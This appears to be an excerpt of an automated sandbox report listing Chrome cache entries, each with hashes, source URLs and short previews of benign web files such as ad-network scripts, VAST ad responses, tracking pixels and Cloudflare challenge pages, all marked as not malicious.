Preview:	!function(e){"use strict";function t(e,t,i,s){return new(i\|\|(i=Promise))((function(n,o){function a(e){try{d(s.next(e))}catch(e){o(e)}}function r(e){try{d(s.throw(e))}catch(e){o(e)}}function d(e){var t;e.done?n(e.value):(t=e.value,t instanceof i?t:new i((function(e){e(t)}))).then(a,r)}d((s=s.apply(e,t\|\|[])).next())}))}var i,s;"function"==typeof SuppressedError&&SuppressedError;const n=/pbstck:debug/.test(window.location.href),o=!!(null===(i=window.localStorage)\|\|void 0===i?void 0:i.getItem)&&null!==window.localStorage.getItem("pbstck"),a=`[pbstck-${null!==(s="9d47d92")?s:"unknown"}]`;function r(){return n\|\|o}function d(...e){r()&&console.log(a,...e)}function c(...e){r()&&console.warn(a,...e)}function u(...e){r()&&console.error(a,...e)}var l,b;!function(e){e[e.LOADED=0]="LOADED",e[e.FAILED=1]="FAILED",e[e.NOT_READY=2]="NOT_READY"}(l\|\|(l={})),function(e){e.RUNNING="running",e.NO_BID="noBid",e.BID="bidResponse",e.TIMEOUT="bidTimeout"}(b\|\|(b={}));const p=e=>e.state===b.BID,h=e=>p(e)?e.bidRe

Chrome Cache Entry: 580

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5729), with no line terminators
Category:	downloaded
Size (bytes):	5729
Entropy (8bit):	5.141312326705833
Encrypted:	false
SSDEEP:	96:7VIrurYbnJyyLSj/ZyLSNKCC5c+ovCx0ICt24I6DpMNiOjOY6G4SIuFa:7+rur8nJyye1yeNmK+ovCx0I0D9DpsHI
MD5:	2DBE60A9EBBFEECA5C59CFB014D2E680
SHA1:	3E8168FEB6CDD743E8CB23C804D6D43D05DE901B
SHA-256:	A68827190BC01A61EE0A62EC59EFA74497A6BC5AA8586F1FAC50A58D0CF42D88
SHA-512:	767F8F00CD5E0C4F45F80B9EA9AD882AB7AAE0CD04AAD4059945E0B021EFFF5D952E93399D77ECB4ED06835AD2CD031961A88B7F7EDD2E2B6690D79F1950906E
Malicious:	false
Reputation:	low
URL:	https://c0.wp.com/p/jetpack/13.2.2/_inc/build/related-posts/related-posts.min.js
Preview:	!function(){"use strict";var t={response:null,getEndpointURL:function(t){var e,s="undefined"!=typeof wp&&wp.customize&&wp.customize.settings&&wp.customize.settings.url&&wp.customize.settings.url.self;s?(e=document.createElement("a")).href=wp.customize.settings.url.self:e=document.location,"string"==typeof t&&t.match(/^https?:\/\//)&&((e=document.createElement("a")).href=t);var a="relatedposts=1",o=document.querySelector("#jp-relatedposts");if(!o)return!1;o.hasAttribute("data-exclude")&&(a+="&relatedposts_exclude="+o.getAttribute("data-exclude")),s&&(a+="&jetpackrpcustomize=1");var r=e.pathname;return"/"!==r[0]&&(r="/"+r),""===e.search?r+"?"+a:r+e.search+"&"+a},getAnchor:function(t,e){var s=t.title,a=document.createElement("a");a.setAttribute("class",e),a.setAttribute("href",t.url),a.setAttribute("title",s),a.setAttribute("data-origin",t.url_meta.origin),a.setAttribute("data-position",t.url_meta.position),""!==t.rel&&a.setAttribute("rel",t.rel);var o=document.createElement("div");o.appe

Chrome Cache Entry: 581

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (958)
Category:	downloaded
Size (bytes):	997
Entropy (8bit):	5.455397388197243
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTCzXh6vEFM+sBntvwCCZV9UkydOdTuRXKr5c:c2Yz8T2YviMnhYJUyTuRXEc
MD5:	48BD5EEB5EEA2F2E9E00BAE8A124EE25
SHA1:	86DFCBAD985484CFBC1D031D65398F3F61016DB3
SHA-256:	292BCB528DE9BD2F63F93F056ACDF6387AB0D53F0D90B52B2CEE07B1A465116F
SHA-512:	D8D26CD1D736097D4A30F22DC3E9F176D2B29D8A760F02391839D861882D9D3B989501E0F4756A8A66F72B2EAF511248875D0DC1AA18C4C7549CA189BB976301
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=appnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=centro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://ib.adnxs.com/getuid?https://partners.tremorhub.com/sync?UIAN=$UID&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Linear><TrackingEvents/></Linear></Creative></Creatives></Wrapper></Ad></VAST>

Chrome Cache Entry: 582

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1049)
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	5.397410574502442
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTM2FbzXh6vEFM+sBntvwCCZV9UkINTuRXKr5c:c2Yz8T7YviMnhYJWTuRXEc
MD5:	46AFB179D739C82EFF37D6425584AEB7
SHA1:	6DE48E9DCD8A6C8D3B6A6331FD871BD1036069BB
SHA-256:	A954568904E0A1A34F4EC8FCD3AFAEDEE8B05EA61081230982C6ED3CA3B6DDBD
SHA-512:	24A7262FDF237016CC2D4A61EA90B371391872C1A39B2BCA9403B36482A10ED3D7351A815E7F3DC23EEB95109B0179A098CA933E7F8C0CA15E335038AAE80C36
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=google%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://cr-p43.ladsp.com/cookiesender/43?rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><

Chrome Cache Entry: 583

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Reputation:	low
Preview:	.

Chrome Cache Entry: 584

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum.casalemedia.com/crum?cm_dsp_id=191&external_user_id=228cb039-6430-c48d-d32df1cb
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 585

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	11670
Entropy (8bit):	7.926447033389363
Encrypted:	false
SSDEEP:	192:yuGJgGGQuYdaZtdF0Rbw5V2ex96ZT4jDdond+FAV6lHjLNlj2On4hN3Am9Y215Xy:k1GCSFKbwme96J4jDd+dW0KH3Nli33AZ
MD5:	72417AF7580A7F3E0FFFD3C1D29BB208
SHA1:	6CDAB13D1BDCA49E42C5E7262D0C2FB97A05BFAF
SHA-256:	D158B20930EE5513835B9F638BF4678E76C6FB85AF2A7D791ECD4ACB5944120B
SHA-512:	BE613DF1ADE58179F8B2AB783D173E96FD6AA31EB5A3C566E93B15ABF7FA8E907B0BC0A64EF7C027650BCB91CCC67A8A3B09CE8A25EFD7EB9F790981A471DBFB
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C........................... ."" ...$(4,$&1'..-=-157:::#+?D?8C49:7...C...........7%.%77777777777777777777777777777777777777777777777777........D.."............................................................................4.<..+Q.j....,q..R..3..>.....u........<..8.i..hSx..]Vz.8I.B..j.u<n._./?z.....-..R...-...V-..$...jj....[.2......#%k.JQ...{4l.$...vQ9ej..7..O..}.E..Z.a.V..4[..H......s.mQ9He. 8.C..i.V.Y3A.)XF.."<#f1. .~..]..U4T....R...V.MK.}..X.."".W.....z#...xbv.Q.ao$.Y..q....N<..'N&a:...yv..V..\........>.\|...:..)..rI...8d.....u.]c..x{..\|.}dG....c....t9..Ibt.S..;..aG.y.I8.}.g<.5wp.K.d<Mp.W.%kfh.G...o.3z.5..1...(.V..b._.R..Z.......Yx.R..U5.......GN....GA.u.........uE ../k..]k.777.O...L....t.-.UtG..3.0..^.r.JrR.;.vM...JP...3....~.6..E....Y..8sl..Wr...U.3C......U.<..hK..".z.....'..9b..E%+.=.........+4...X.$....aU.Yyd-....dHZ...l4....Z."6n....p..........{..qu.6b..F....&t.8.7\|.Vb"...\|.YL.c95;9.bC.X.Qi.B..L....:G......

Chrome Cache Entry: 586

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?endpoint=us-east&ismms2s=1&p=minute_media
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 587

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072966&val=847CD017CFA04EE58AAA8C55A751BC64
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 588

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.145760679283741
Encrypted:	false
SSDEEP:	3:vFWWMNHU8LdgCfpxIJikViJS4RKbuviyiFdfxcXl/OxuGQHRRAvn:TMVBd/faVic4subinfSlmSRRAv
MD5:	97D2E3C075A4EA1F775CCE418FDE177D
SHA1:	C52809A609DDC6A93BC3F2D934954AEF1A1CEC7D
SHA-256:	8CD629187427FDB93787D7156BE7A32C391BB2A8DA471BBAA274E806E48B36E7
SHA-512:	C3ECE0C86DDB1B546B503F2DF4309CCE64892113B64B15DAC2C5B7E9AB62D925DD3BA78C1AD2303AEF07D5233A11A0CC94E21A5A4264CE0A1D945F7BA3B34B03
Malicious:	false
Reputation:	low
URL:	https://pubads.g.doubleclick.net/gampad/ads?iu=%2F7047%2C22898733152%2Fapl%2Fshowheroes%2Fvast1&description_url=http%3A%2F%2Fbsnews.it&tfcd=0&npa=0&sz=400x300&gdfp_req=1&output=xml_vast4&unviewed_position_start=1&env=vp&correlator=622708487231388&vpa=auto&sdkv=h.3.629.1&osd=2&frm=0&vis=1&sdr=1&hl=en&is_amp=0&u_so=l&ctv=0&mpt=videojs-ima&sdki=445&ptt=20&adk=2044940861&sdk_apis=2%2C7%2C8&omid_p=Google1%2Fh.3.629.1&sid=EA12B335-679C-4E34-97A5-679AE24DB35E&a3p=EhsKDDMzYWNyb3NzLmNvbRiW5Iai6DFIAFICCGQSGAoJeWFob28uY29tGJbkhqLoMUgAUgIIZBIZCgp1aWRhcGkuY29tGJbkhqLoMUgAUgIIZBIcCg1jcndkY250cmwubmV0GJbkhqLoMUgAUgIIZBIZCgpwdWJjaWQub3JnGJbkhqLoMUgAUgIIZBIXCghydGJob3VzZRiW5Iai6DFIAFICCGQSFAoFb3BlbngYluSGougxSABSAghkEh0KDmVzcC5jcml0ZW8uY29tGJbkhqLoMUgAUgIIZA..&nel=1&eid=418572006%2C44772139%2C44776495%2C44777649%2C44781409%2C44806074%2C95321947%2C95322027%2C95323893%2C95324128%2C95326337&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&dlt=1711615881974&idt=15623&dt=1711615944517&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&scor=21004739623209&ged=ve4_td61_tt33_pd61_la61000_er897.718.1051.1018_vi0.0.907.1263_vp6_ts3_eb23275
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vast.xsd" version="4.0"/>.

Chrome Cache Entry: 589

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	11397
Entropy (8bit):	7.94055738383967
Encrypted:	false
SSDEEP:	192:1IRSbTnMiq6GHer35tiWGyueMAUx8Dm9j+AMREzPk99x4cy4UWooEcEEyCR5:1IIHjGHer35tiWGoMAUx8DGlzv/pY3
MD5:	696CAE79F5C8514B117A01A85558D87D
SHA1:	5B289660258AFF49D878C6DB0D1609DD440A22D7
SHA-256:	2ACF14F573C9BBD37789A5209793268DCEB6E968ED7D452BEDB60BA089F36014
SHA-512:	F8BE1DCAA1E53055A979B57504569DF6B69DB2AF66278832A75DDA5B724FE8AF0DEC7156A787D6B98D8732A5B073537F88497F790C5D64F3B5AC6087C0C700D7
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........D.."...............................................................................s..Q.r.P........B.....u.....c..+Q...2.<...K.k.R..gT....}q.y...Q....F.G6...6P...Q..%..A2..\.W......A\|..V...:7\Z...4....$...t.'H..;...N.....7/=..epg.VH..A..G.....l.YBY..3_.I..bz.Rs....E.b.'R....iW.V..`^r...'.vujZE.....1...3\|_...q\>;.....=.ic\@.^v..........4[J.._..]z4..T.4.U.yvmM.Z..\7.t......s\|..d..t.......l...5.Ym.."...s.......#.R\....k.a=..=.r.9..B.]9!..Pe5.;..Y.>..........i.bCy..@Tz.@....I.........#G.L..,..r_.6J.l2.............H........$..:...1X.Ge.U..k\..<.B.pc)...tH...U.....g.....zN...Me<.k6....`i....tcwwO....&...4E.q....m....r..>.A....t..H...E.H..U..g.Z....jb..<kSh.X...9.c..Rf.n0.Z..{'.\......Q..Q.......j.uWmN.VU.p..."..{....z..(....Ai.......;R&SQ....)..n.>....N...;...G%+....xu..w3....2$/.E.

Chrome Cache Entry: 590

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://pmp.mxptint.net/sn.ashx?ak=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 591

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?&p=156423&us_privacy=&predirect=https%3A%2F%2Fevents-ssc.33across.com%2Fmatch%3Fliv%3Dh%26us_privacy%3D%26bidder_id%3D25%26external_user_id%3D
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 592

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 593

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2606), with no line terminators
Category:	downloaded
Size (bytes):	2606
Entropy (8bit):	5.557282353792989
Encrypted:	false
SSDEEP:	48:HrpHWDZ5tkHVYSVrBXnVR2XwffQH3cBXpa:LiSHVrtfWcW
MD5:	3EF858380F0AB065409AA4446B00E7AB
SHA1:	BF5E5FC187423CC7473DEDD5107D69049CC4A87C
SHA-256:	C6E4D5D8E263BB9C02CBD31C5C05522498A16998C2E36159BBB7D8836DE374F8
SHA-512:	887F24C1B65E409080B3AA35D26BDEB6FA68F669F1A78F57606BD4C306B2B2BB09F2746BBC3FFFD52E8426A47E199E6BCD803CACD4C119A8FFA56644079DF0B7
Malicious:	false
Reputation:	low
URL:	https://sync.admanmedia.com/iframe?pbjs=1&coppa=0
Preview:	<html><head></head><body><img src="https://x.bidswitch.net/sync?ssp=adman&user_id=9741359e-b2a2-4864-af08-41d769df6c9b&gdpr=[GDPR]&gdpr_consent=[GDPR_CONSENT]" width="1" height="1" alt="" style="position: absolute; opacity: 0;"><img src="https://secure.adnxs.com/getuid?https%3A%2F%2Fsync.admanmedia.com%2Fappnexus.gif%3Fpuid%3D%24UID%26gdpr%3D[GDPR]%26gdpr_consent%3D[GDPR_CONSENT]" width="1" height="1" alt="" style="position: absolute; opacity: 0;"><img src="https://match.adsrvr.org/track/cmf/generic?ttd_pid=digqd7p&ttd_tpi=1&gdpr=[GDPR]&gdpr_consent=[GDPR_CONSENT]" width="1" height="1" alt="" style="position: absolute; opacity: 0;"><img src="https://image8.pubmatic.com/AdServer/ImgSync?p=157362&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D157362%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fsync.admanmedia.com%252Fpub.gif%253Fpuid%253D%2523PMUID" width="1" height="1" alt="" style="position: absolute; opacity: 0;"><img src="https://ums.acuityplatform.com/tum?umid=134&uid=974

Chrome Cache Entry: 594

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
URL:	https://usermatch.krxd.net/um/v2?partner=zeotap&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648
Preview:	{}

Chrome Cache Entry: 595

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	5.447338730128089
Encrypted:	false
SSDEEP:	3:YA0fRGPaaUZAiR2Xlj9t/fVdOpVqdtadQhVhK:YAmRndex9NwVmtWQh/K
MD5:	4AF27FA689DA443C80C9722E9A69A3E7
SHA1:	DF3490C1BFF62A9E9B9ADDD84A055091DD1925B6
SHA-256:	C2350344AE389A640D123AA5BBDCFB1F50C6C8BFB78419A0366306EE8D6C7F91
SHA-512:	F1CCB9A26F507E9E95F132F640B4D4B9C5D699531FAFE76955FEFD84F5CC21085EF82D2AB6DC40742E1BBE365917F9AF6488AB41EADC3D24FD5D2B3E9D595D1C
Malicious:	false
Reputation:	low
Preview:	{"esp":"eyJpIjoiL21LQ1VPeGtEV2d6Y1o3ODVENFZHZz09In0=","i":"/mKCUOxkDWgzcZ785D4VGg=="}

Chrome Cache Entry: 596

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1125)
Category:	dropped
Size (bytes):	5631
Entropy (8bit):	5.160647933067898
Encrypted:	false
SSDEEP:	96:1j9jwIjYj5jDK/D5DMF+C8WZqXKHvpIkdNhrRi9PaQxJbBTq0yTMQr+Cw:1j9jhjYj9K/Vo+nXaHvFdNhr49ieJBT5
MD5:	D07DAFC7AE9CC61DCD4C1CEB48BE5EA8
SHA1:	41552DE1550CE865A24635E1CD0188024BA5ED27
SHA-256:	D32740383CA123AD636F3C0B142BCEC64FC7BA2A72737BD1282EEF305A1CA8A9
SHA-512:	C71F7D1731DE56D2534E59C47473B63D227A59C6E3E1C4FA87E28FA9202BA9CF0B4F6B7AB0365AD51A4BBDC6464CAD4AA7683F435F69637B341118E07B3A1880
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Attention Required! \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->.<style>body{margin:0;padding:0}</style>... [if gte IE 10]> >.<script>. if (!navigator.cookieEnabled) {. window.addEventListener('DOMContentLoaded', f

Chrome Cache Entry: 597

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1125)
Category:	dropped
Size (bytes):	5631
Entropy (8bit):	5.165242611586439
Encrypted:	false
SSDEEP:	96:1j9jwIjYj5jDK/D5DMF+C8WZqXKHvpIkdN0orRi9PaQxJbBrUq0yTMQr+Cw:1j9jhjYj9K/Vo+nXaHvFdN1r49ieJBo5
MD5:	7413B5F3B577231FDC056147963DADFE
SHA1:	976AB57008C2D307C95080A7F71A6AD37F081D05
SHA-256:	5D7753798E2C874749A72E1316FB1775767064787AB9689C8623A5145B123427
SHA-512:	6D4E5538924CF1F69E92B6D13E992AF3F6A2AAE283CB00FF09CD95D1AE409F46082963F2993B89D8428A25D2A20B2C50F90C46F06A5AF93364F5E10CB49F3744
Malicious:	false
Reputation:	low
